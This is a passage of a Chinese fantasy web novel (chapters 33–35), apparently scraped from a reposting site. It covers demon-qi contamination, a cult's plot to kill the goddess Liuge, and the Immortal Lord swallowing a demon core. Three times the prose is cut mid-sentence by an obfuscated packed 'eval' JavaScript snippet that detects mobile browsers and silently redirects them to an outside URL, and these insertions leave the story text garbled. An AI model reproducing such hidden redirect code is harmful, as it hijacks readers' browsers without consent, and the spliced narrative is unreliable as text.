春在野虽和惊轶同朝为官,却比他小了千来岁,一直视惊轶为可敬的前辈,此时被直白的夸赞,很是赧然,连忙问道:“惊轶大人来找我,是郁柏尊上那边有什么发现了吗?” “确实,我们发现,位于晚枫的核心阵眼有些古怪,你最擅长符阵之术,郁柏尊上让你明早跟我们一起去晚枫,详细探查一番。” 33. 处刑制度 第五洲地势极高,整体由东部的高原和西部的丘陵构成,东高西低。洲府晚枫正处在高原和丘陵的过渡带上。 豆绿高原最北部,一条悬旌山脉作为分界线横亘在第五洲和第六洲之间,最东边则是一条横跨南北的燃犀山脉,燃犀最高峰,豆绿峰,矗立天地间,因海拔太高,终年白雪皑皑。 从豆绿峰较高处往下望,下方连绵起伏的晚枫丘陵被一巨大,精密,层层嵌套的阵法完全笼罩在内,阵法像天穹下倒扣的碗,一层严丝合缝的半透明屏障自巨阵上升起,将魔尊留下的魔气牢牢扣在“碗”下。 豆绿峰上大雪初停,月光漏了下来,洒在素白的天地间,唯有半山腰的一洞穴口,透出一点橘红的火光。 岩穴外,断崖边,藏权云皱着眉倒退两步,“真是恶心……魔族不仅忘恩负义,手段也阴毒。被打走了也不叫人安生,还留个魔气在这里祸害人。” “害怕了?”危天梭忍俊不禁,顺着她的视线往下望,夜色掩映间,一只漆黑巨口大张着,宛如随时随地准备吞噬周围一切的深渊,被困阵法内的魔气缓缓翻涌着,像深渊里流动的迷雾。 藏权云打了个寒战,移开视线,不再看了。 “没有害怕,”她眉头拧的更紧了,“只是看着心里怪怪的……当时在下面帮忙,只要保护一小块区域的阵法不被魔气腐蚀即可,没发现原来污染域有这么大。” “妖族这样龟缩在屏障后面,真是憋屈的紧。” 她有些暴躁的胡乱抓了抓头发,借此略微宣泄心底的不安,“什么时候才能跟他们痛痛快快打一场!把他们打回魔界,让他们知道,我们妖族打的赢人族,亦不惧魔族!” 危天梭和她母亲藏花骨在人界就是好友,又一起投入问情麾下南征北战,可以说是看着藏权云成长起来的,不是亲人胜似亲人的长辈。 她望着藏权云,又像透过她,望着无数成长起来的新一代,眼神是权云看不懂的悲戚。 “我倒是希望……这一仗永远不要开始。” 藏权云被她看得心底有些发毛,犹疑着叫声一声:“危姨?” “魔通六欲,魔气最可怕之处,就是它会在不知不觉中放大你的欲望和情绪,人妖两族若是接触到魔气后没有及时服用清神丹去除,就会逐渐被魔气影响,直到走火入魔,堕入魔道。” 危天梭声音紧绷,冷硬的嗓音之下是藏不住的悲痛:“权云,你知道魔气入体,最终堕入魔道的过程吗?” “我知道。”藏权云有些明白危天梭在害怕什么了,声音不由自主的低了下来,在这个可以俯视晚枫丘陵的悬崖边,像是怕惊动了虚空中游荡的邪神般下意识压低了声音,“魔气入体第一步就是污染识海。” “妖族天生体魄强悍,因此修炼上多仰仗体魄,对识海精神力的淬炼和运用远弱于人族,魔气浸入识海,很多妖族甚至不能察觉……” 危天梭长叹一声,顺着权云的话继续补充道:“等发现时,识海早已习惯了魔气的存在,就会放任魔气流入妖丹……这时候,除了剔除妖丹,再无回天之力。剔除妖丹九死一生,若不剔除妖丹,则必然堕入魔道。” “权云,”她抬头望向皎皎皓月,又回头静静的凝视着透出火光的洞穴,“你知道三年前那场战争,妖魔两界各自的死伤人数吗?” 藏权云不敢说话了,心脏狂跳不止,嘴唇张了张,最后还是抿唇摇头。 危天梭没有安慰她,这位在人界时就以领地广阔,庇护妖族,慈悲心善闻名的领主,此时是少见的神情冷肃。 “在天道限制的情况下,仙魔两族若是降临妖界,修为都会被压制到了渡劫期巅峰以下——在这种情况下,妖族想要解决一位高阶魔族,还是基本上需要三到五位高阶妖修的全力配合。” “但情况最糟糕的不是高阶妖修……”危天梭声音愈发悲切了,可能在这夜色下,她也被魔气勾起了心底的恐惧之情吧。 “你知道低阶妖修死伤几何吗?” 妖皇问情陨落,妖后亦清也重伤之下不知所踪。 妖界一片混乱,神庭动荡,前线后方整个分崩离析,政庭大乱,根本没有人去详细的统计这些——藏权云无从得知。 危天梭苦笑,“我也不知。但就我看到的,至少有四分之一的妖修根本没有死在魔族手上……他们死在了自己人手里。” “处刑制度……”藏权云脸色唰的变得惨白,难以置信的厉声反问道:“传闻中的处刑制度是真的?!” 隼族族长没有给予藏权云丝毫回寰余地,“对,魔气入体后,他们就不是战友了,是随时会捅你一刀的魔族预备役——藏权云,我和你母亲,都是负责处刑的处刑者。” “那四分之一的战士——”藏权云神情难以遏制的恍惚了一瞬,“那些传言都是真的?魔气入体后,尚能治愈的妖修就送回青丘医治,魔气已入妖丹,情况逐渐不可控的,就……就地处决?” “权云!”危天梭一把扣住她的肩,直视着这颗年轻的,冉冉升起的新星:“听我说,跟我回去吧……” “三年前那一战,若不是打到一半问情妖祖自爆妖丹,以身化屏障重伤了魔尊,将所有魔族驱逐了出去,妖界可能要被魔族硬生生打空!” “而现在……现在战争的阴影又落在你们头上了!”她几乎是哀求的死死扣住藏权云的肩膀,“你现在得琉歌尊上青眼,可你根本没有上过战场!你不知道魔族能不择手段到什么地步,你也不知道魔气的可怖之处!” “我们那一辈,跟着问情尊上杀穿人界,可以说各个身经百战,就这样都被魔族打得死伤惨重……更遑论你们这一直被问情保护起来的一代?” “三年,对妖族来说,一场浅梦的时间都不够,你们新一代扪心自问,成长到了哪一步?我真的不愿你直面魔族,直面我和你母亲经历过的痛苦!” 危天梭看着权云年轻,明亮,纤尘不染的一双眼瞳,不知为何,想到了病床上尚等着她带百日细叶回去的危龛。 “我受你母亲临终嘱托,要照顾好你,权云,就听危姨的一次,好不好?好好呆在赤琉璃,留在青丘,做护卫妖皇的近卫军,远离前线……远离魔族。” “妖皇的强大你我都难以想象,那些魔族,还有魔尊,在妖界其实是奈何不得妖皇的,其实我们完全可以……” “危姨!”藏权云忽然重重反握住了危天梭的手,“我明白的……我把你从战场上救回来的时候,就已经很清楚战争的残酷了。” “您是问情时代引领翼族的最强者,我是新生代最年长,修为最高的头狼——若你我都龟缩在后,后果不堪设想。” “……危姨,”权云缓缓松开手,轻轻帮她抚平了袖口褶皱,语气和缓下来,“我没有苛责你的意思——但我的志向不会更改。” 黑发绿眼的年轻领主目光灼烫,宛如天边旭日高升。 “妖界,不只是妖皇的妖界,更是妖族的妖界,是我们的妖界!是千千万万妖族一手从人族口中撕下的战利品,是被妖族的血一寸寸浸透了才夺下的,崭新的故土,全新的家乡。” “可能是狼族天生重视领地的缘故吧,我不能容忍任何人进犯妖界,染指我的战利品——无论是魔尊仙尊还是人皇,都是一样的,危姨,无论是谁,我都愿意为了保卫这块热土流干最后一滴血。” “我心匪石,不可转也。” 藏权云笑容粲然,“虽然不喜欢人族的文化,但人族的诗词写得真好啊。危姨,我想要妖族也能如人族一般,文脉不绝,子嗣绵延,有自己的文化蓬勃发展,传遍五界的一天。” 洞穴内燃着火堆,暖融融的火舌舔舐过柴堆,烧的木头噼啪作响。 火光下,弥随音眉头紧蹙,一层层解开了紧紧缠着左臂的绷带。 无数大小不一的漆黑鬼手印印在他左臂上,凤凰仙君一晃神,似乎能听到怨气正不甘的发出怨毒的诅咒,此起彼伏,尖利刺耳。 随即,一道金血绘制的阵法嗡鸣一声悍然显形,将撑在怨气的鬼手印全部暴力镇压了下去! 神血强悍依旧,但细看之下就能发现,神血阵法的边缘,已经模糊到辨不出细节了。 琉歌匕首一挑,一边割破掌心拿碗接血,一边随口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310246|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问道:“师尊支持谁的观点?” 在妖皇眼里,妖族就是透明的。 凤凰仙君也有自己的手段。 于是外面两人悄悄的说,里面两人静静听完了全程。 “……我能理解狼族对领地的重视,若我有这样一块故土,我也会拼了命去保护的。” 弥随音想了想,又觉得自己好笑,略微摇了摇头,“不过,四仙兽和四凶兽都自混沌灵气中诞生,可现在天地间仙气魔气泾渭分明,早已没有什么混沌灵气了。” 神兽强大,却没有来处,因此回不了头,只能不断的向前,向前,以期在未来找到自己新的归处。 祝商序是这样,白泽是这样,常妄亦是如此。 弥随音本以为自己可以免俗,他悄悄抬眼瞥过琉歌,又飞快垂下眼睫,没忍住在心底嗤笑自己以前的大言不惭——现在看来,自己也不过一凡夫俗子。 弥随音情绪来得快去得也快,话出口也就过去了,倒是琉歌若有所思的盯了他一眼,就见凤凰仙君紧紧注视着碗里汇聚的神血,薄薄一层神血刚没过碗底,他立刻抽走了琉歌手里的匕首,“这些就够了。” 他说着,动作迅速的一把握住银发妖皇的手,凤凰火一闪,掌心的伤口随即消失不见。 琉歌哑然失笑,伤口长出新肉有些发痒,她下意思攥了攥拳缓解痒意,无奈道:“师尊,这些哪里够?” “不需要更多了,我还有凤凰火,足以压制怨气了。”弥随音攥着匕首不还琉歌,难得的强势坚持道:“琉歌,我不愿你为我流那么多血。” “其实,我更赞同危天梭的观点。”琉歌怔愣了片刻,忽然捡起了刚才的话题,“妖皇,或者说神族,就是为了解决百姓解决不了的问题而诞生的。” “人族赶不走仙魔,于是人皇诞生;妖族无法和奴役自己的人族抗衡,于是妖皇降世。” 她略垂着眼,跃动的火光打在她的脸上身上,两人紧挨着面对面席地而坐,于是弥随音第一次注意到,琉歌有羽扇般浓密的眼睫,垂下来时会遮住火光,把本就浓墨重彩的眼瞳压得更暗。 “现在的妖族就是对抗不了魔族和魔尊——这是不争的事实。” 银发妖皇低垂着眼,顺口抱怨似的继续道:“我有时在想,我诞生即是妖皇,可能就是为了这些时刻,为了百姓挺身而出,然后证明自己的存在,证明自己的价值。” 上辈子,弥随音心里满是尊卑礼法,仙妖异族之类的避讳,又心怀鬼胎,根本不敢细看。 竟然直到此刻才发觉,琉歌并不像他记忆里那样,宛如高悬天际的北斗,任地上尘嚣四起,巨浪滔天,她永远笃定的站在风口浪尖,给所有妖族的指明方向。 他一瞬间竟然完全读懂了琉歌的目光,哪怕那个眼神根本不是给他的。 因为他太熟悉了,没有来处,于是只能死死盯着前方的眼神。 神血还是太少了,琉歌苦恼的蹙了蹙眉,忽然灵机一动——信仰既然是神族的力量之源,何不试试用信仰加神血绘制压制阵法呢? 说干就干,透明的信仰之力从神座里导出,化为一层仅神族可见的全透明的膜,缓缓融入了神血里。 琉歌顿时笑了,她拉过弥随音的胳膊,深深吐出一口气,提笔开始绘制阵法——毛笔落下的一瞬间,怨气骤然尖啸着化为巨量白雾,猛地爆开! “师尊!”琉歌大惊,空间权柄霎时运转开来,领域内的白雾旋即被火速一扫而空! “没事,琉歌,我没事。”凤凰被白雾吓了一跳,但并未有什么不适,于是赶紧安抚琉歌道:“我没事,你看……咦?” 琉歌顺着他的目光看向凤凰仙君的左臂——刚刚落笔的地方,鬼手印一扫而空,露出弥随音的皮肤本色,旁边的鬼手印宛如见到了天敌般扭曲着向两边翻涌蠕动,躲避着落笔处的金血。 “上次不是这样,琉歌,你往金血里加了什么?”这种修炼上的事弥随音敏锐异常,立刻比较出不同来。 “……信仰。”琉歌怔愣片刻,忽然短促的“哈”了一声,大笑起来:“信仰竟然可以消弭怨气?!” 34. 神庭究竟是谁的神庭 已经夜深,第四洲洲府绣骨的郊外却灯火通明。 传送阵的白光一闪,三道身着政庭官服的身影踏出白光,降临第四洲。 妖族官服以纯黑色打底,头戴紫玉或者墨玉发冠,固定用的束带和腰带亦都为紫色。 风弄堂和藏纵夏一起迎上前,他们亦身着相似官服,只是更华贵繁复一些,代表了领主妖皇之下,政庭之上的尊贵身份。 “白主事,舒云长老,还有卷云学官——”藏纵夏略微一行礼,笑着招呼道:“有失远迎,本应是我们把药方送到青丘去的,但第四洲这边实在是离不来人,麻烦诸位跑这一趟了。” 白水边赶紧回礼,他身为躬行司主事,级别只在三司首领之下,卷云是学宫长老,春在野的手下,远离政庭和神庭,舒云则在炼药师公会任职,是四品炼药师,而炼药师公会是由躬行司创立并全权管理的。 由他代表几人和第四洲交涉合情合理。 客套过几句之后,风弄堂将卷轴交到了白水边手里,白水边展开确认——虽然已经得到了神女的示意,但看到最底下,明晃晃以金黄神血写就的“轩辕琉歌”四个字时,泽云白鹿还是难以遏制的打了个寒颤。 “这药方写的当真漂亮,详略得当,各种情况下用药量的不同都考虑到了,这样的人才居然没有被躬行司发掘?”卷云啧啧赞叹,他,舒云和白水边,三人都是四品炼药师,不然也不会被暂时司掌青丘的常妄派来了解第四洲的情况了。 “让我看看是谁写的——”他目露欣赏的向下看去,目光触及金血为墨写就的四个大字时,骤然噤声了,随即,乌鸫族兄弟俩暗暗交换了一个意味不明的眼神。 “……这是,神女大人?”卷云一时间只觉得这份卷轴犹如烫手山芋,连碰也不敢碰,含糊的用眼神扫过最下面的署名,询问风弄堂道:“神女大人一直在第四洲?” “为何隐瞒神女的行踪不报!”卷云骤然厉声喝道,“第四洲是什么意思!” 白水边也没想到卷云会突然发难,一时愣住,刚想开口缓和气氛,却被舒云一抬手挡了回去。 学宫长老眉头紧拧,质询道:“先是藏纵夏领主于神庭挑战郁柏尊上的威信,再是风领主无视神庭通缉令,隐瞒神女行踪不报——第四洲,是准备支持神女,跟神庭刚到底了?” “卷云!”白水边瞳孔霎时紧缩,“你疯了!无论神子还是神女,都是妖皇!” “风领主,我们今日前来,只为了解第四洲泣寒瘴的情况,绝无挑衅之意——”夜晚萧瑟的冷风里,泽云白鹿的头顶难以控制的冒出豆大的汗珠,立刻示意舒云将他哥哥拖到后面去。 “刚才之事是卷云学官一人无心之语,并不是学宫还有政庭的意思,还请风领主恕罪。” 风弄堂的情绪居然诡异的稳定,他上下打量了卷云舒云片刻,忽然爽朗的大笑:“没事,白主事不必如此,我们几位领主刚知晓琉歌尊上就是神女时,也是这样不可思议。” 发生了这种事,白水边也不敢再在第四洲多留,抱着卷轴扯着卷云连连告罪,传送阵白光一闪,回青丘去了。 藏纵夏悄悄去瞄风弄堂的脸色,风弄堂没好气的在他头上揉了两把,掏出素梅,低声和琉歌汇报道:“妖皇尊上,请小心乌鸫族的卷云舒云俩兄弟,他们应该是神庭的人,看样子很是支持郁柏尊上。” 夜已经深了,但琉歌的回复来的很快—— “第四洲全力运转起来,让白水边送手底下值得信任的炼药师来第四洲,然后尽可能多的炼丹,治疗泣寒瘴的三品愈灵丹,还有去除魔气的四品清神丹……越多越好。” 风弄堂领命,下意识松了口气,这种万事不慌,一切都胸有成竹的首领,真的让人安心。 本想一直保持中立的风弄堂,已经在情感上不知不觉间偏向琉歌了。 第九洲,青丘妖都郊外,传送阵白光熄灭,三人踉踉跄跄的跌了出来。 白水边一把攥住卷云的衣领,暴怒道:“你今晚发什么疯!那是风弄堂!是能和惊轶争一争神使之位的虎族领主!” “若不是郁柏尊上降下神谕,第四洲又愿意配合……你觉得政庭有资格管第四洲的事情吗!”白水边只觉得今晚的经历堪称死里逃生四个字。 “风弄堂有胆子无视神庭通缉令,和神女合作,又有胆子将神女亲手写下的丹方递到我们面前——第四洲一点不在乎会不会打神庭的脸,你懂吗?” “我们三,替政庭跑腿的小喽啰,和神庭都搭不上边,要是激怒了第四洲几位领主,这里谁能保证我们全身而退?我们这里有一个擅长打架的吗!” 他喘息着,恨不得往卷云这个看不清形式的人脸上来两拳,但碍于丹方到手之后还要和学宫合作,强压着怒火忍住了,有些颓然的松开手,后退了两步。 “神庭办不到的,神女来办,神庭尚未意识到的危机,神女已经将其掐灭在摇篮里……”一直低调沉默着的舒云忽然开口,低声喃喃,“神女大人……她的目的是什么?” 太好了还有正常人,白水边只觉得热泪盈眶,不愧是和他称兄道弟的舒云,就是比他哥脑子灵光。 “舒云你快劝劝你哥,回头给第四洲去个信,道个歉,这事糊弄过去也容易。” 他拍拍舒云的肩膀,拨开他抬步就要向帝宫方向而去,“我先去玉牡丹帝宫,将这愈灵丹丹方给常妄大人看过,晚些我们再清点炼药师公会内可以调度的药材和炼药师——” “白水边,你早就知道神女在第四洲了吧?”舒云忽然抬手攥住了白水边的胳膊,语气森森,“春在野大人突然召集我们汇报的两件事——神族能量循环,还有突发疫情的事情,你其实都知道,对不对?” “你和神女大人一直有联系。”舒云露出了一个盖棺定论的笑。 他是乌鸫族最有天赋的炼药师,最年轻的长老,前途无量,一笑起来真如他的名字一样,意气风发,漫天云舒。 但现在是大半夜,乌黑阴云一散,惨白的月光顿时降下,照亮了乌鸫族兄弟俩相似的,杀气森森的双眼。 “舒云?”白水边心底霎时浮现出一层不祥的预感,下意识用了十成十的力气一挣——舒云纹丝不动。 “……你进阶了?” 两人同为四阶炼药师,都是元婴期强者,白水边因为年长,修炼时间长,按理说实力高舒云不少,刚刚那一下怎么也不可能挣不开的。 唯一的解释就是——舒云进阶了。 但进阶是大好事,为何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310247|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要瞒着政庭和神庭的所有人? 泽云鹿族浑身暗暗紧绷,右手被舒云攥着动弹不得,左手悄然背后,无声无息的将一柄锋利漆黑的匕首攥进掌心——突然,一点冰凉的触感抵在了白水边后颈。 “不想死就别动。”卷云神情冷峻,持剑立于他身后,“既然你是神女的人,就绝不能放任你妨碍了春在野大人的计划。” 周围,月色突然间消失了,天地重新陷入无边黑暗中,白水边只来得及看到几道影影绰绰的漆黑身影落在乌鸫族俩兄弟周围。 他想问,春在野的计划是什么,他还想问,你究竟是谁的人,你效忠的……是眼前这个神庭吗? 舒云盯着他的眼睛,肯定是看懂了白水边的疑惑,但依然只是笑着,无辜的冲白水边眨眨眼。 无可奉告。 白水边一瞬间升起无限的荒谬感,他熟悉的那个年轻活络的舒云,和眼前这个不知深浅的陌生舒云顿时重合短暂重合了。 “这个人怎么办?”昏迷前,只听舒云音调淡淡的问兄长,卷云嗤了一声:“带走吧,他有魂灯在政庭,杀了他魂灯熄灭,会让春在野大人难做……” 第五洲,春在野仿若心有所感,一抬头望向远方。 半响,他眉头紧拧,起身略微整理了一下,从储物袋中掏出了面具带上,随即脚下传送阵光芒闪过,下一刻山风呼啸,他已经出现在了第五洲一处半山腰。 “恭迎拜圣教主,问情妖祖百战百胜,问情妖祖永垂不朽!” 此处是一个挖空了山腰而建在山体内部的祭坛,巨大而隐蔽,此时外面夜色沉沉漆黑一片,祭坛上却灯火通明,遥遥可见乌泱泱一群人拜倒在地,高昂而嘹亮的宣誓声模糊的穿到内间,回荡在几人耳边。 “什么事情?”春在野神情不虞,“郁柏尊上和神女都在第五洲,你们就这样冒冒失失的直接召唤我?” “卷云,你先说。”他蹙眉,冲跪在地上的卷云一扬下巴。 “是。” 卷云应道,立刻双手将卷轴捧到了春在野面前,“大人,我们发现神女并未如郁柏尊上所言那样龟缩养伤,正相反,她帮第四洲解决了水患和泣寒瘴,已经从第四洲得到了信仰之力!” “什么!” 面具下,春在野如遭雷击,一把夺过卷轴展开,最下方金黄的“轩辕琉歌”四个大字,刺得他眼睛生疼。 “你们说,她是知道了信仰的作用才去的第四洲,还是在第四洲获得了信仰之后,才知道信仰的作用?” “属下觉得……”舒云思索片刻刚想回到,被春在野挥手止住了话头。 “不重要了——都不重要了。” “卷云舒云,通知拜圣教内阁全体……跟我杀一个人。” 这位书生气的儒雅学官,第一位以理论功劳封神使的理论大家,首次在两人面前露出了如此杀气腾腾的一面。 卷云舒云自然没有异议,拜圣教潜伏已久,早就积蓄了足够杀任何人的实力。 舒云心潮澎湃,“春大人,我们杀谁!是神庭的革新派还是那些摇摆不定的领主?” “不……我们拜圣教,只用杀一人就够了……”春在野笑容扭曲,浸透了杀意,“我们杀……神女,轩辕琉歌。” 35. 逃! 四通八达的白玉廊桥悬于云海之上,玉为地琉璃做瓦建成的琼楼玉宇之间,突然,数道虚影在楼宇造成的隐蔽阴影间一闪而过—— 几不可察的清风拂过,琉璃瓦纹丝不动,廊桥旁的云团倒是略微荡开些许,边缘更加模糊了。 但这些被过量的灵气顶上来的云团在仙界随处可见,无人在意会去在意。 于是,掩在云气之下的一丛丛山茶花也无人多看一眼。 虚影领头者倒是敏锐,抬手示意众人停下,俯身凑近了那丛山茶—— 无事发生。 “大人,怎么了吗?” “无事……这山茶开得倒是好。” 领头者拢在一层漆黑雾气之间,心里疑虑消散,再不耽搁,向远处而去。 半响,那丛山茶里的一朵,忽然一颤,开得正艳的花骨朵缓缓偏移,似人一般,目光追随着虚影离开的方向而去。 “……至公道人。”仙界第九重天,茶晚山缓缓睁开眼。 她依然是琼寰大会时的那一身装束,修身的浅绿长袍规整的堪称严苛,粉白长发盘成山茶花的样式束在脑后,此时她手执一朵山茶花缓缓起身,行卧坐走之间能看出从小一丝不苟养出的规矩。 “至公道人的身上有魔气……”茶晚山从未感到如此茫然,她表情有一瞬的空白——至公道人是仙尊神使,若无梅若君点头,他不可能有胆子带着一身魔气返回仙界的。 ——也就是说,梅若君,号称嫉恶如仇势要斩尽群魔,凭一己之力将魔族镇于黄泉之后初代仙尊……她的师尊,当真和魔族有私下的交流? 那魔界的几次行动背后,是否有仙尊的点头默许,甚至是暗中帮助!? 初代妖皇,轩辕问情尊上的陨落,当真是黎狩一神所为吗? 问情陨落之事在众神心里都是个谜团。 像一个不像禁忌的禁忌。 妖皇在自己的位面有天地双重加持,对魔尊有绝对强悍的压制力,问情又是能在人界和当今最强者铭榕五五开的绝世天才,强悍无比,不然也不可能带领群妖开辟妖界。 这样的强者,为何会死在黎狩手下? 只是仙尊缄口不提,人皇告病闭目,唯一想给问情讨回公道的妖界尚未完全一统,有心却无力。 魔尊杀妖皇这样开天辟地以来头一遭的大事,居然就这么轻飘飘的,化为一场无人付出代价的清风消散了? “师尊,师尊……你到底在想什么?” 茶晚山茫然极了,她出生起便养在梅若君身边,但梅若君对她的态度却古怪的很,鲜少来见她,可修炼和生活上的方方面面,他又事无巨细的关注着,对她报以极高的要求,要她在同辈里做到最强。 曾有次,至公道人麾下一身份极高的小辈和她起了冲突,争执间口不择言,骂她是无父无母无依无靠的孤儿,被仙尊一时兴起养在身边却不受宠,未来定是要被打下凡尘,丢出仙界的。 具体说了什么茶晚山也记不清了,毕竟她并不觉得离开仙界是什么令人恐惧的事情——仙界的每个人都是从凡间飞升上来的啊。 但这话立刻被梅若君得知了,出乎所有人意料的,梅若君暴怒,不顾至公道人苦苦相求,直接降下神谕天谴,将那小辈一身仙骨仙魂生生劈碎,贬入凡尘且百世不得为人。 后来,梅若君虽然照旧对她保持着极高的要求,却固定会每个月抽出四五天来和她一起吃晚饭,顺便检查功课。 再后来,便是茶晚山拜师仙尊,梅若君在琼寰大会上告知众神,茶晚山是他选定的下一任神使。 茶晚山猛地一咬牙止住回忆,死死攥着手中的那一支山茶,为了转移自己的注意力,她抬眸环视四周,忽然,目光落在了自己尚未完成临摹的仙律上。 仙律由曾经的第一神使茶清叙所带头制定,详尽严明却不失人情味,茶晚山不喜欢仙界人界那些吟风咏月的诗词,于是梅若君就送了她这份仙律初稿,茶清叙亲手写就的那一版,茶晚山如获至宝,时时临摹。 “天行有常……” 彷徨的年轻者指尖轻轻拂过年长者的手稿,仿若透过时光,看到了那执笔如刀,为仙族奠定基本框架的人的虚影—— “仙族,以强悍的力量和坚定的意志才得以从世俗界飞升,成为天道延伸的注脚……怀抱毁天灭世之力,必处处自省,时时修心……” 茶晚山静默的矗立窗前,指尖摩挲过自己临摹了数次的仙律,她天赋异禀,过目不忘,这本仙律她早已倒背如流,但时至今日,她才恍然惊觉,茶晚山前辈刻下的每一行字,她一直从未理解。 “我得去找人皇。”浅绿长袍的少女深吸一口气,回身最后看了一眼摊在桌上,保存完好,一个卷边都没有的初代仙律手稿,御剑而起,向传送阵去了。 第九重天,仙尊居所内,至公道人抬手撤下一身遮掩身份的雾气,恭敬的下跪行礼到:“大人,刑微雨尊上的魔核已经到手了,就在这里。” 就像冥界鬼修的识海,妖修的妖丹,人族的丹田一样,魔族最核心,储藏了一身修为的地方,就是魔核。 当年刑微雨被黎狩吞噬,神座破碎真身湮灭,就在魔核即将碎裂化为黎狩的能量时,梅若君赶到,保下了刑微雨的魔核。 于是,这颗将碎未碎的魔核里,也因此储存着刑微雨的最后一点生机。 “大人,臣觉得黎狩此人心思深重,为达目的不择手段,当年刑微雨重用他,新任他,和仙界交战时甚至派他坐镇魔庭指挥大军——他却一手挑起叛乱削弱魔祖的力量,最后更是恩将仇报吞噬了魔祖登上神位……” 至公道人双手奉上金属盒,那金属盒精致典雅,通体赤红色调,深处金光流转,点缀绿宝石扣锁,倒是和魔族工匠素来喜欢的的大开大合的风格不服。 一看就知道是模仿着仙族喜欢的那一套设计的。 梅若君看着盒子的时间太久了,久到至公道人都怀疑他是不是要来一手“买椟还珠”了。 “可笑。” 仙尊忽然哂笑一声,“刑微雨最不喜欢的就是赤红色……” “她说,这会让她想到魔界贫瘠的赤红土壤,还有徘徊在每个魔族头顶,会让他们丧失理智的魔瘴。” 梅若君目光柔和极了,像害怕吵醒了盒子里浅眠的人似的,他动作极缓,嘴上却没停:“她这一生,活的拧巴,我光是在一旁看着都累得要死——” “你明明最讨厌鲜血,却将魔族官服定为红色,你明明悟道赐予,掌控赐予权柄,一生大半时刻却都在征伐,在掠夺。” “呵呵,怪不得……最后天道都看不下去了吧?派出个黎狩,把你的一切都收回去了。”梅若君脸上的神情堪称迷醉,笑意扭曲而肆意,至公道人眼观鼻鼻观心跪在一边,假装自己是个聋子。 “好了,好了,都过去了,每次说这些你都不高兴。”仙尊轻轻将那魔核捧于掌心,举到唇畔—— “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310248|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在已经不是魔尊了,微雨……你终于回到我的设想里了。” 下一刻,梅若君仰头,在至公道人惊诧瞪大的眼瞳里,一口将刑微雨魔核吞入腹中! “仙尊大人!”至公道人目眦欲裂,撕心裂肺的大喊道:“大人不可啊!” “安静一点。”梅若君下半张脸依然覆着一层黑纱,闻言冷冷瞪了至公道人一眼,金黄色的虹膜依然璀璨,但虹膜中心漆黑的一点瞳孔此时却消失了,变成了赤红色的竖瞳! 至公道人僵立原地,只觉得仙尊背后骤然冒出漫天魔气!不等他凝神细看,梅若君又变回以前那个亲和宽厚的样子了。 “这次辛苦你了,至公,”梅若君还在说什么,至公道人却怔怔愣在原地,只觉得声音渺远,听不清了。 仙魔两界暗潮汹涌,众人以为中已经逐步稳定下来的妖界也并不平静—— 夜已经很深了,第九洲妖都青丘,妖皇帝宫内却依然烛火通明。 “龙尊大人,”门外侍卫忽然通报道:“学宫长老,卷云大人来了。” “这么晚?”常妄有些烦躁,把面前重重叠叠一摞叠一摞的卷宗往桌上一扔,向后靠揉了揉眉心,“算了,请进来吧,我也喘口气。” 卷云来的很快,“龙尊大人,这就是白水边说的第四洲研究出来的丹方。” 常妄接过卷轴,还没看,先笑道:“看来学宫的研究又有突破啊,传送阵已经可以做到洲和洲之间直达了?” 第四洲距离第九洲横跨整个妖界南北,若不是传送阵有突破性进展,卷云一个元婴期是怎么也赶不回来的。 “龙尊大人过誉了。”卷云也笑着拱手,“学宫确实已经可以做到跨洲直达了,只是这项技术尚不完善,元婴之下使用尚不小的风险。” “当年若是有跨洲传送阵建立……亦清大人也不至于赶不上最后一战。”可能深夜就是容易引人回忆往昔,常妄忽然不合时宜的想到了亦清和妖祖问情。 “亦清真是一个好对手啊……可惜了,他是问情先皇的召唤兽,问情陨落即是召唤师身亡,召唤兽也不能独活了。” “对了,春在野还好吗?问情陨落对他的打击不可谓不大,他现在如何了?” 龙尊说完,卷云忽然动作一滞,片刻后不动声色的笑了,“春在野大人好多了,他现在立志要实现问情尊上的遗志——带着妖界追上人界,成为五界认可的位面之一。” “如此甚好。” “不……不好啊大人!” 第五洲,拜圣教据点之一的祭坛旁,舒云几乎吓破了胆,“杀神女!?不可,不可不可啊!!大人,大人……” 他扑通一声跪在地上拽着春在野的衣摆苦苦哀求他改变主意:“那是神明!我们取血研究和谋杀神明的代价是不一样的啊……” “只有神族可以杀神族,大人,这是天道法则!” “别搞笑了,若问情回归,你就是迎她回归的一等功臣!若不是为了这个,你为何会强求你哥将你举荐到我面前?”春在野冷笑,态度决绝,丝毫不为所动:“舒云,清醒一点吧,现在想跑,已经晚了!” 疯子……疯子! 舒云咬着手指浑身发抖,恨恨在心底骂道,杀神女是个死,不杀神女,她若即位还是个死! 